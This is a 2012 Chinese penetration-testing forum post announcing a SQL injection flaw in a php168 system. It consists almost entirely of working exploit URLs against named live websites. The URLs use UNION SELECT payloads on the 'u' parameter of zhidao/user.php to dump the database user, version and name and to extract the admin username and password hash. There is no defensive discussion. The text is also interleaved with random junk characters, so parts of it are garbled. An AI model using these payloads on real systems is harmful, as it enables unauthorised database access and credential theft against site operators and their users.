中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--9 i  B1 F; \% R2 h1 h$ L
                                                      , j! M# A. J- Z. @  z' H& a2 H
                                    [attach]94[/attach]5 \% N, Y1 H( D6 b" @& P
6 J( K7 I. y! c; v
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
1 c2 S7 |+ |9 g1 z& v- [+ d
' I- W' e5 C& ^7 S6 ^3 F                                                                5 a- X4 d6 {+ H. A
                                                      [attach]95[/attach]' H1 u; C+ \9 ~
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
6 t/ ~* j. o# j2 J& N' Q/ V" w; }2 r1 L( ]. k+ H! i# V, o- {2 x
; T5 h6 M7 u! ~2 e4 r) C
) w8 |0 |. S7 Z% W% n- i
                                                         [attach]96[/attach]
  H: {$ P; R. m, d7 [, T8 [+ g
, b7 J$ X- J. ^6 h$ [  }, [* fhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--4 {/ \8 d0 i- ]

4 d5 R2 W8 p! |' w! Q
, Z- [1 ^' l7 j" l0 w- Q
1 g* p. T4 l& A                                                                   [attach]97[/attach]
" p4 A9 R% z8 o7 V8 j8 N/ J2 j: s

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)